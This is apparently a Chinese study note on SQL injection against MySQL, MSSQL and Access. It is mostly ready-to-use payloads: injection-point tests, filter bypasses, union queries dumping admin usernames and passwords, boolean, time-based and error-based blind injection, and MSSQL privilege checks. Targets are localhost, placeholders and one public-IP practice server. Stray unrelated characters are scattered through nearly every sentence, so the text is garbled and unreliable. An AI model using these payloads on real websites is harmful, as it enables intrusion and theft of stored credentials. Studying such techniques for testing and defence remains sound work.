本周主要學(xué)習的事SQL注入相關(guān)的細節(jié)信息宴树,包括數(shù)據(jù)庫枚舉方式策菜,判定注入點的方式,注入形式等等酒贬,具體如下:
【一又憨、判斷數(shù)據(jù)庫類型 】
看到一個網(wǎng)站首先要判斷網(wǎng)站的數(shù)據(jù)庫類型,首先了解主流的三款數(shù)據(jù)庫
1锭吨、Access一般用在小網(wǎng)站上蠢莺,類似企業(yè)站,功能比較簡單耐齐,對數(shù)據(jù)要求不高浪秘;2蒋情、Mssql是一個比較大的完善的數(shù)據(jù)庫埠况,在windows上常用,配NETASP等程序。3棵癣、Mysql是一個小型的公開源代碼的免費數(shù)據(jù)庫辕翰,在windows,linux上都常用狈谊,和PHP程序組成一對完美搭檔喜命。
一般PHP 為mysql,asp河劝、aspx為sql sever
mysql數(shù)據(jù)庫 php網(wǎng)頁后綴用'來看是否報錯壁榕,確定報錯后判斷閉合條件
Mysql【a\Mysql閉合條件查詢】
http://127.0.0.1/day6/1.php?id=1 union select 1,name,pass from admin 數(shù)字型
數(shù)字型不用特意加字符,直接 and1=2檢測是否有注入點赎瞎;
http://127.0.0.1/day6/1.php?key=-test' union select 1,name,pass from admin? --+? 字符型
字符型需要在'xx--+ 中間輸入命令牌里,'and1=2--+檢測是否有注入點;
http://127.0.0.1/day6/2.php?keyword=test %' order by 3 --+? 搜索型
搜索型需要在%'xx--+中間輸入命令务甥,%'and1=2--+檢測是否有注入點牡辽;
http://103.238.227.13:10083/?id=1 %df%27 union select 1,schema_name from information_schema.schemata %23 查詢數(shù)據(jù)庫
寬字節(jié)型需要在%df%27xx%23中間輸入命令,%df%27and1=2%23檢測是否有注入點敞临,查詢列表值得時候’‘要用0x十六進值代替态辛;
【 b/SQL注入過濾限制繞過方法】
1、大小寫過濾:http://xxxx?id=-1 Union SELect 1,2,3
2挺尿、空格過濾:http://xxxx?id=-1/**/uninon/**/... ?(標黃代替空格)
3奏黑、空格和: http://xxxx?id=-1%252f%252a*/and%252f%252a*/1=1
相當于是--http://xxxx?id=-1 and 1=1
【C/數(shù)據(jù)庫枚舉查詢】
聯(lián)合查詢數(shù)據(jù)庫名炊邦,表名,列值攀涵,內(nèi)容方式:
查詢數(shù)據(jù)庫:http://xxxxxx铣耘? union select null,schema_name,null from information_schema.schemata
查詢當前數(shù)據(jù)庫:http://xxxxxx? union select 1,database(),null
查詢當前版本信息:http://xxxxxx以故? union select 1,user,@@version,null
查詢數(shù)據(jù)表:http://xxxxxx蜗细? union select null,table_name,null from information_schema.tables where tabale_schema='xxx'
查詢數(shù)據(jù)字段:http://xxxxxx? union select null,column_name,null from information_schema.columns where tabale_schema='xxx' and table_name='xxxx'
查詢詳細信息:http://xxxxxx怒详? union select null,column_name,null from schema_name.columa_name
group_concat()查詢?nèi)苛斜?炉媒;
【D/盲注】
? 基于布爾SQL盲注--構(gòu)造邏輯判斷
mid()函數(shù)
此函數(shù)為截取字符串一部分。MID(column_name,start[,length])
Sql用例:
(1)MID(DATABASE(),1,1)>’a’,查看數(shù)據(jù)庫名第一位昆烁,MID(DATABASE(),2,1)查看數(shù)據(jù)庫名第二位吊骤,依次查看各位字符。
(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此處column_name參數(shù)可以為sql語句静尼,可自行構(gòu)造sql語句進行注入白粉。
substr()函數(shù)
Substr()和substring()函數(shù)實現(xiàn)的功能是一樣的,均為截取字符串鼠渺。
string substring(string, start, length)
string substr(string, start, length)
參數(shù)描述同mid()函數(shù)鸭巴,第一個參數(shù)為要處理的字符串,start為開始位置拦盹,length為截取的長度鹃祖。
用法和MID用法一樣的;
Left()函數(shù)
Left()得到字符串左部指定個數(shù)的字符
Left ( string, n )? ? ? ? string為要截取的字符串普舆,n為長度恬口。
利用left(database(),1)進行嘗試
http://127.0.0.1/test/qwe/sql/01.php?id=1%20and%20left(@@version,1)=5
查看一下version(),數(shù)據(jù)庫的版本號為5.6.17沼侣,這里的語句的意思是看版本號的第一位是不是5祖能,明顯的返回的結(jié)果是正確的。
? 基于時間的SQL盲注--延時注入
延時注入是主要針對頁面無變化蛾洛、無法用布爾真假判斷养铸、無法報錯的情況下的注入技術(shù)。
延時注入作為最精準的注入雅潭;
首先我們確定該頁面存在延時注入揭厚。延時注入的使用環(huán)境多為常規(guī)注入無法正常顯示數(shù)據(jù)的情況下,由于時間問題我們就寫容錯扶供,直接進行延時注入筛圆。
假設(shè)我們輸入常規(guī)注入語句頁面沒有變化,帶入“and sleep(2)”后頁面響應(yīng)時間出現(xiàn)明顯變化椿浓,那么就基本可以確定這是一個延時注入太援。
語句:select if(ascii(mid(user(),1,1))=114,sleep(2),1);? 該語句的意思為查詢user()用戶名截取第一個字符 然后跟114對比(114為r的ascii碼)闽晦,如果條件成立執(zhí)行sleep(2)延時2秒,否則執(zhí)行查詢輸出1
首先我們用通過union查詢字段長度提岔。得到字段長度為3.
帶入查詢語句仙蛉,我們首先需要知道我們想要得到數(shù)據(jù)的長度,這里我們以查詢數(shù)據(jù)庫名為例碱蒙。在我們猜測7時荠瘪,if條件成立執(zhí)行sleep函數(shù),證明database()的長度為7
http://127.0.0.1/index.php?id=1 and if(length(database())=7,sleep(2),1)
知道了長度我們要做的就是猜解每一位是什么赛惩。通過mid函數(shù)取database的第一位進行對比哀墓,條件成立執(zhí)行sleep函數(shù),115為s的ascii碼
http://127.0.0.1/test/qwe/sql/8.php?id=1%20and%20if(ascii(mid(database(),1,1))=115,sleep(2),1)
接下來一個個猜解
?基于報錯的SQL盲注--報錯注入
基于錯誤回顯的sql注入就是通過sql語句的矛盾性來使數(shù)據(jù)被回顯到頁面上
一般是在頁面沒有顯示位喷兼、但用echo mysql_error();輸出了錯誤信息的時候使用篮绰,
它的特點是注入速度快,但是語句較復(fù)雜,大部分情況只能用limit依次猜解
語句:and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
extractvalue()? 報錯語句用法
http://127.0.0.1/index.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
updatexml()報錯語句用法
http://127.0.0.1/index.php?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
【兩個語句把user()替換成相關(guān)的其他語句一樣用】
SQLsever【a\Sql sever數(shù)據(jù)庫注入】
基礎(chǔ)查詢
查詢所有:
Select * from 表名
select * from Student
1季惯、說明:創(chuàng)建數(shù)據(jù)庫
CREATE DATABASE database-name
2吠各、說明:刪除數(shù)據(jù)庫
drop database dbname
SELECT TOP 2 * FROM table_name? ? mssql
同等于
SELECT * FROM table_name LIMIT 0,2? ? mysql
判斷數(shù)據(jù)庫類型
Access:
and (select id from MSysAccessObjects) >0 返回正常說明是access
MSSQL:
and (select id from sysobjects) >0 返回正常說明是mssql
MSSSQL? 權(quán)限
sa權(quán)限:數(shù)據(jù)庫操作,文件管理勉抓,命令執(zhí)行贾漏,注冊表讀取等 system
db權(quán)限:文件管理,數(shù)據(jù)庫操作等 users-adminstrators
public權(quán)限:數(shù)據(jù)庫操作 guest-users
注入點權(quán)限判斷
and 1=(select is_srvrolemember('sysadmin')) //判斷是否是系統(tǒng)管理員
and 1=(select is_srvrolemember('db_owner')) //判斷是否是庫權(quán)限
and 1=(select is_srvrolemember('public')) //判斷是否為public權(quán)限
----------------
;declare @d int //判斷MsSQL支持多行語句查詢
and user>0 //獲取當前數(shù)據(jù)庫用戶名
and db_name()>0 //獲取當前數(shù)據(jù)庫名稱
and 1=convert(int,db_name())或1=(select db_name()) //當前數(shù)據(jù)庫名
and 1=(select @@servername) //本地服務(wù)名
and 1=(select HAS_DBACCESS('master')) //判斷是否有庫讀取權(quán)限
----------------
注入過程:
'查注入點
1、獲取一個數(shù)據(jù)庫
and 1=(select top 1 name from master..sysdatabases where dbid>4)
如果你要查詢的是所有數(shù)據(jù)庫(用戶/系統(tǒng)):
select * from master..sysdatabases
如果你要查詢的是用戶數(shù)據(jù)庫琳状,則使用:
select * from master..sysdatabases where dbid > 4
如果你要查詢的是系統(tǒng)數(shù)據(jù)庫磕瓷,只需要把where字句改為dbid < 4即可盒齿。
查詢下一個數(shù)據(jù)庫
and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> 'acublog')
以此類推可以查詢?nèi)康臄?shù)據(jù)庫
2念逞、獲取第一張表 threads
?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
獲取第二張表 users
?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> 'threads' )
獲取第三張表 forums
?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> 'threads' and name <> 'users' )
3、獲取第一列列名 uname
?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users'))
獲取第二列列名 upass
?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and name <> 'uname' )
4边翁、獲取第一個用戶名
?id=1 and 1=(select top 1 uname from users)
獲取第一個用戶名對應(yīng)的密碼
?id=1 and 1=(select top 1 upass from users )
ACCESS【a\Access數(shù)據(jù)庫注入】
判斷注入點
‘
And 1=1
And 1=2
/
-0
判斷數(shù)據(jù)庫類型
and exsits (select * from msysobjects)>0? access
and exsits (select * from sysobjects)>0? ? sqlserver
EXISTS用于檢查子查詢是否至少會返回一行數(shù)據(jù)翎承,該子查詢實際上并不返回任何數(shù)據(jù),而是返回值True或False
猜表名:
and exists (select * from 你要猜得表名)查看是否存在表名 (存在的情況下頁面刷新正常符匾,同理猜字段一樣的 )
判斷數(shù)據(jù)庫表
and exists (select * from admin)
判斷數(shù)據(jù)庫列名
and exists (select admin from admin)
猜列名的字段名: and exists (select 你要猜的字段名 from 你已經(jīng)才出來的表名)查看是否存在字段名
判斷字段長度
order by 20
報錯
and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin
數(shù)據(jù)庫聯(lián)合查詢
and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin